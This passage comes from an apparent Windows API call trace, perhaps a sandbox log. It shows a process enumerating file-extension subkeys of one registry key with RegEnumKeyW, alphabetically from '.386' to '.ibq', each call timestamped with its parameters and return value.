(hKey=0x0) returned 0x6 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1, lpName=0x2eef50, cchName=0x104 | out: lpName=".386") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2, lpName=0x2eef50, cchName=0x104 | out: lpName=".3g2") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3, lpName=0x2eef50, cchName=0x104 | out: lpName=".3gp") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4, lpName=0x2eef50, cchName=0x104 | out: lpName=".3gp2") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5, lpName=0x2eef50, cchName=0x104 | out: lpName=".3gpp") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6, lpName=0x2eef50, cchName=0x104 | out: lpName=".a") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7, lpName=0x2eef50, cchName=0x104 | out: lpName=".AAC") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8, lpName=0x2eef50, cchName=0x104 | out: lpName=".accda") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9, lpName=0x2eef50, cchName=0x104 | out: lpName=".accdb") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa, lpName=0x2eef50, cchName=0x104 | out: lpName=".accdc") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb, lpName=0x2eef50, cchName=0x104 | out: lpName=".accde") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc, lpName=0x2eef50, cchName=0x104 | out: lpName=".accdr") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd, lpName=0x2eef50, cchName=0x104 | out: lpName=".accdt") returned 0x0 [0099.808] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe, lpName=0x2eef50, cchName=0x104 | out: lpName=".accdu") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf, lpName=0x2eef50, cchName=0x104 | out: lpName=".accdw") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x10, lpName=0x2eef50, cchName=0x104 | out: lpName=".accft") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x11, lpName=0x2eef50, cchName=0x104 | out: lpName=".acl") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x12, lpName=0x2eef50, cchName=0x104 | out: lpName=".acrobatsecuritysettings") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x13, lpName=0x2eef50, cchName=0x104 | out: lpName=".ade") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x14, lpName=0x2eef50, cchName=0x104 | out: lpName=".adn") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x15, lpName=0x2eef50, cchName=0x104 | out: lpName=".adp") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x16, lpName=0x2eef50, cchName=0x104 | out: lpName=".ADT") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x17, lpName=0x2eef50, cchName=0x104 | out: lpName=".ADTS") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x18, lpName=0x2eef50, cchName=0x104 | out: lpName=".ai") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x19, lpName=0x2eef50, cchName=0x104 | out: lpName=".aif") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1a, lpName=0x2eef50, cchName=0x104 | out: lpName=".aifc") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1b, lpName=0x2eef50, cchName=0x104 | out: lpName=".aiff") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1c, lpName=0x2eef50, cchName=0x104 | out: lpName=".ani") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1d, lpName=0x2eef50, cchName=0x104 | out: lpName=".ans") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1e, lpName=0x2eef50, cchName=0x104 | out: lpName=".api") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1f, lpName=0x2eef50, cchName=0x104 | out: lpName=".application") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x20, lpName=0x2eef50, cchName=0x104 | out: lpName=".appref-ms") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x21, lpName=0x2eef50, cchName=0x104 | out: lpName=".aps") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x22, lpName=0x2eef50, cchName=0x104 | out: lpName=".art") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x23, lpName=0x2eef50, cchName=0x104 | out: lpName=".asa") returned 0x0 [0099.809] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x24, lpName=0x2eef50, cchName=0x104 | out: lpName=".asc") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x25, lpName=0x2eef50, cchName=0x104 | out: lpName=".ascx") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x26, lpName=0x2eef50, cchName=0x104 | out: lpName=".asf") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x27, lpName=0x2eef50, cchName=0x104 | out: lpName=".asm") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x28, lpName=0x2eef50, cchName=0x104 | out: lpName=".asmx") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x29, lpName=0x2eef50, cchName=0x104 | out: lpName=".asp") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2a, lpName=0x2eef50, cchName=0x104 | out: lpName=".aspx") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2b, lpName=0x2eef50, cchName=0x104 | out: lpName=".asx") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2c, lpName=0x2eef50, cchName=0x104 | out: lpName=".au") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2d, lpName=0x2eef50, cchName=0x104 | out: lpName=".avi") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2e, lpName=0x2eef50, cchName=0x104 | out: lpName=".aw") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2f, lpName=0x2eef50, cchName=0x104 | out: lpName=".bas") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x30, lpName=0x2eef50, cchName=0x104 | out: lpName=".bat") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x31, lpName=0x2eef50, cchName=0x104 | out: lpName=".bcp") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x32, lpName=0x2eef50, cchName=0x104 | out: lpName=".bin") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x33, lpName=0x2eef50, cchName=0x104 | out: lpName=".bkf") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x34, lpName=0x2eef50, cchName=0x104 | out: lpName=".blg") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x35, lpName=0x2eef50, cchName=0x104 | out: lpName=".bmp") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x36, lpName=0x2eef50, cchName=0x104 | out: lpName=".bsc") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x37, lpName=0x2eef50, cchName=0x104 | out: lpName=".c") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x38, lpName=0x2eef50, cchName=0x104 | out: lpName=".c2r") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x39, lpName=0x2eef50, cchName=0x104 | out: lpName=".cab") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3a, lpName=0x2eef50, cchName=0x104 | out: lpName=".camp") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3b, lpName=0x2eef50, cchName=0x104 | out: lpName=".cat") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3c, lpName=0x2eef50, cchName=0x104 | out: lpName=".cc") returned 0x0 [0099.810] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3d, lpName=0x2eef50, cchName=0x104 | out: lpName=".cda") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3e, lpName=0x2eef50, cchName=0x104 | out: lpName=".cdmp") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3f, lpName=0x2eef50, cchName=0x104 | out: lpName=".cdx") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x40, lpName=0x2eef50, cchName=0x104 | out: lpName=".cer") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x41, lpName=0x2eef50, cchName=0x104 | out: lpName=".cgm") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x42, lpName=0x2eef50, cchName=0x104 | out: lpName=".chk") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x43, lpName=0x2eef50, cchName=0x104 | out: lpName=".chm") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x44, lpName=0x2eef50, cchName=0x104 | out: lpName=".cls") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x45, lpName=0x2eef50, cchName=0x104 | out: lpName=".cmd") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x46, lpName=0x2eef50, cchName=0x104 | out: lpName=".cod") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x47, lpName=0x2eef50, cchName=0x104 | out: lpName=".com") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x48, lpName=0x2eef50, cchName=0x104 | out: lpName=".compositefont") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x49, lpName=0x2eef50, cchName=0x104 | out: lpName=".contact") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4a, lpName=0x2eef50, cchName=0x104 | out: lpName=".cpl") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4b, lpName=0x2eef50, cchName=0x104 | out: lpName=".cpp") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4c, lpName=0x2eef50, cchName=0x104 | out: lpName=".crd") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4d, lpName=0x2eef50, cchName=0x104 | out: lpName=".crds") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4e, lpName=0x2eef50, cchName=0x104 | out: lpName=".crl") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4f, lpName=0x2eef50, cchName=0x104 | out: lpName=".crt") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x50, lpName=0x2eef50, cchName=0x104 | out: lpName=".crtx") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x51, lpName=0x2eef50, cchName=0x104 | out: lpName=".cs") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x52, lpName=0x2eef50, cchName=0x104 | out: lpName=".csa") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x53, lpName=0x2eef50, cchName=0x104 | out: lpName=".csproj") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x54, lpName=0x2eef50, cchName=0x104 | out: lpName=".css") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x55, lpName=0x2eef50, cchName=0x104 | out: lpName=".csv") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x56, lpName=0x2eef50, cchName=0x104 | out: lpName=".cur") returned 0x0 [0099.811] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x57, lpName=0x2eef50, cchName=0x104 | out: lpName=".cxx") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x58, lpName=0x2eef50, cchName=0x104 | out: lpName=".dat") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x59, lpName=0x2eef50, cchName=0x104 | out: lpName=".db") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5a, lpName=0x2eef50, cchName=0x104 | out: lpName=".dbg") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5b, lpName=0x2eef50, cchName=0x104 | out: lpName=".dbs") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5c, lpName=0x2eef50, cchName=0x104 | out: lpName=".dct") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5d, lpName=0x2eef50, cchName=0x104 | out: lpName=".def") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5e, lpName=0x2eef50, cchName=0x104 | out: lpName=".der") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5f, lpName=0x2eef50, cchName=0x104 | out: lpName=".desklink") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x60, lpName=0x2eef50, cchName=0x104 | out: lpName=".det") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x61, lpName=0x2eef50, cchName=0x104 | out: lpName=".diagcab") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x62, lpName=0x2eef50, cchName=0x104 | out: lpName=".diagcfg") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x63, lpName=0x2eef50, cchName=0x104 | out: lpName=".diagpkg") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x64, lpName=0x2eef50, cchName=0x104 | out: lpName=".dib") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x65, lpName=0x2eef50, cchName=0x104 | out: lpName=".dic") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x66, lpName=0x2eef50, cchName=0x104 | out: lpName=".diz") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x67, lpName=0x2eef50, cchName=0x104 | out: lpName=".dll") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x68, lpName=0x2eef50, cchName=0x104 | out: lpName=".dl_") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x69, lpName=0x2eef50, cchName=0x104 | out: lpName=".doc") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6a, lpName=0x2eef50, cchName=0x104 | out: lpName=".dochtml") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6b, lpName=0x2eef50, cchName=0x104 | out: lpName=".docm") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6c, lpName=0x2eef50, cchName=0x104 | out: lpName=".docmhtml") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6d, lpName=0x2eef50, cchName=0x104 | out: lpName=".docx") returned 0x0 [0099.812] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6e, lpName=0x2eef50, cchName=0x104 | out: lpName=".docxml") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6f, lpName=0x2eef50, cchName=0x104 | out: lpName=".dos") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x70, lpName=0x2eef50, cchName=0x104 | out: lpName=".dot") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x71, lpName=0x2eef50, cchName=0x104 | out: lpName=".dothtml") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x72, lpName=0x2eef50, cchName=0x104 | out: lpName=".dotm") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x73, lpName=0x2eef50, cchName=0x104 | out: lpName=".dotx") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x74, lpName=0x2eef50, cchName=0x104 | out: lpName=".dqy") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x75, lpName=0x2eef50, cchName=0x104 | out: lpName=".drv") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x76, lpName=0x2eef50, cchName=0x104 | out: lpName=".dsn") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x77, lpName=0x2eef50, cchName=0x104 | out: lpName=".dsp") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x78, lpName=0x2eef50, cchName=0x104 | out: lpName=".dsw") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x79, lpName=0x2eef50, cchName=0x104 | out: lpName=".DVR") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7a, lpName=0x2eef50, cchName=0x104 | out: lpName=".DVR-MS") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7b, lpName=0x2eef50, cchName=0x104 | out: lpName=".dwfx") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7c, lpName=0x2eef50, cchName=0x104 | out: lpName=".easmx") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7d, lpName=0x2eef50, cchName=0x104 | out: lpName=".edrwx") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7e, lpName=0x2eef50, cchName=0x104 | out: lpName=".elm") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7f, lpName=0x2eef50, cchName=0x104 | out: lpName=".emf") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x80, lpName=0x2eef50, cchName=0x104 | out: lpName=".eml") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x81, lpName=0x2eef50, cchName=0x104 | out: lpName=".eprtx") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x82, lpName=0x2eef50, cchName=0x104 | out: lpName=".eps") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x83, lpName=0x2eef50, cchName=0x104 | out: lpName=".etp") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x84, lpName=0x2eef50, cchName=0x104 | out: lpName=".evt") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x85, lpName=0x2eef50, cchName=0x104 | out: lpName=".evtx") returned 0x0 [0099.813] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x86, lpName=0x2eef50, cchName=0x104 | out: lpName=".exc") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x87, lpName=0x2eef50, cchName=0x104 | out: lpName=".exe") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x88, lpName=0x2eef50, cchName=0x104 | out: lpName=".exp") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x89, lpName=0x2eef50, cchName=0x104 | out: lpName=".ext") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8a, lpName=0x2eef50, cchName=0x104 | out: lpName=".ex_") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8b, lpName=0x2eef50, cchName=0x104 | out: lpName=".eyb") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8c, lpName=0x2eef50, cchName=0x104 | out: lpName=".faq") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8d, lpName=0x2eef50, cchName=0x104 | out: lpName=".fdf") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8e, lpName=0x2eef50, cchName=0x104 | out: lpName=".fdm") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8f, lpName=0x2eef50, cchName=0x104 | out: lpName=".fif") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x90, lpName=0x2eef50, cchName=0x104 | out: lpName=".fky") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x91, lpName=0x2eef50, cchName=0x104 | out: lpName=".fnd") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x92, lpName=0x2eef50, cchName=0x104 | out: lpName=".fnt") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x93, lpName=0x2eef50, cchName=0x104 | out: lpName=".fon") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x94, lpName=0x2eef50, cchName=0x104 | out: lpName=".gadget") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x95, lpName=0x2eef50, cchName=0x104 | out: lpName=".gcsx") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x96, lpName=0x2eef50, cchName=0x104 | out: lpName=".ghi") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97, lpName=0x2eef50, cchName=0x104 | out: lpName=".gif") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98, lpName=0x2eef50, cchName=0x104 | out: lpName=".glox") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99, lpName=0x2eef50, cchName=0x104 | out: lpName=".gmmp") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a, lpName=0x2eef50, cchName=0x104 | out: lpName=".gqsx") returned 0x0 [0099.814] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b, lpName=0x2eef50, cchName=0x104 | out: lpName=".gra") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c, lpName=0x2eef50, cchName=0x104 | out: lpName=".group") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d, lpName=0x2eef50, cchName=0x104 | out: lpName=".grp") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e, lpName=0x2eef50, cchName=0x104 | out: lpName=".gz") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f, lpName=0x2eef50, cchName=0x104 | out: lpName=".h") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1C") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1D") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1F") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1H") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1K") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1Q") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1S") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1T") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1V") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9, lpName=0x2eef50, cchName=0x104 | out: lpName=".H1W") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa, lpName=0x2eef50, cchName=0x104 | out: lpName=".hdp") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab, lpName=0x2eef50, cchName=0x104 | out: lpName=".hhc") returned 0x0 [0099.815] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac, lpName=0x2eef50, cchName=0x104 | out: lpName=".hlp") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad, lpName=0x2eef50, cchName=0x104 | out: lpName=".hol") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae, lpName=0x2eef50, cchName=0x104 | out: lpName=".hpp") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf, lpName=0x2eef50, cchName=0x104 | out: lpName=".hqx") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0, lpName=0x2eef50, cchName=0x104 | out: lpName=".hta") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1, lpName=0x2eef50, cchName=0x104 | out: lpName=".htc") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2, lpName=0x2eef50, cchName=0x104 | out: lpName=".htm") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3, lpName=0x2eef50, cchName=0x104 | out: lpName=".html") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4, lpName=0x2eef50, cchName=0x104 | out: lpName=".htt") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5, lpName=0x2eef50, cchName=0x104 | out: lpName=".htw") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6, lpName=0x2eef50, cchName=0x104 | out: lpName=".htx") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxa") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxc") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxd") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxe") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxf") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxh") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxi") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxk") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxq") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxr") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxs") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxt") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxv") returned 0x0 [0099.816] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxw") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5, lpName=0x2eef50, cchName=0x104 | out: lpName=".hxx") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6, lpName=0x2eef50, cchName=0x104 | out: lpName=".i") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7, lpName=0x2eef50, cchName=0x104 | out: lpName=".ibq") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8, lpName=0x2eef50, 